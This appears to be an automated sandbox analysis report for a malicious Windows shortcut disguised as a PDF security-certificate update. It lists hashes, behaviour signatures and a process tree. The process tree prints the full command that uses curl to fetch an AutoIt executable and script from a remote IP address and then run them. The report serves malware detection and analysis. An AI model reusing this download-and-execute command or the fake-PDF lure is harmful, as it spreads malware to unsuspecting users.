Analysis
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max time kernel
118s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
14/09/2023, 12:33
Static task
static1
Behavioral task
behavioral1
Sample
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
Resource
win10v2004-20230831-en
Behavioral task
behavioral3
Sample
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
Resource
macos-20230831-en
Behavioral task
behavioral4
Sample
Security Certificate Update Guide.pdf.lnk
Resource
win7-20230831-en
Behavioral task
behavioral5
Sample
Security Certificate Update Guide.pdf.lnk
Resource
win10v2004-20230831-en
Behavioral task
behavioral6
Sample
Security Certificate Update Guide.pdf.lnk
Resource
macos-20230831-en
General
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Target
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
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Size
1KB
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MD5
0fad99c622ad5b86b8fc8a9ed327e945
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SHA1
85eb43846480e91ff4dee61acfac8de2624a9533
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SHA256
4b927aa4c6ef461fb21f23cebf8d8e890801f70c06d72926befd0ce146bc7852
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SHA512
810b1b84d368e6c591293a7cfc61aa166bc375e7876bf125184bf71df39af281b37eb5008a1d46c6e73d0ce7b76ae93c564f8173b63b1320f60a51d2864a7d6a
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 748 wrote to memory of 2736 748 cmd.exe 29 PID 748 wrote to memory of 2736 748 cmd.exe 29 PID 748 wrote to memory of 2736 748 cmd.exe 29
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" "http://5.188.87.58:2351/msimdvyknat" & "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" & exit2⤵PID:2736
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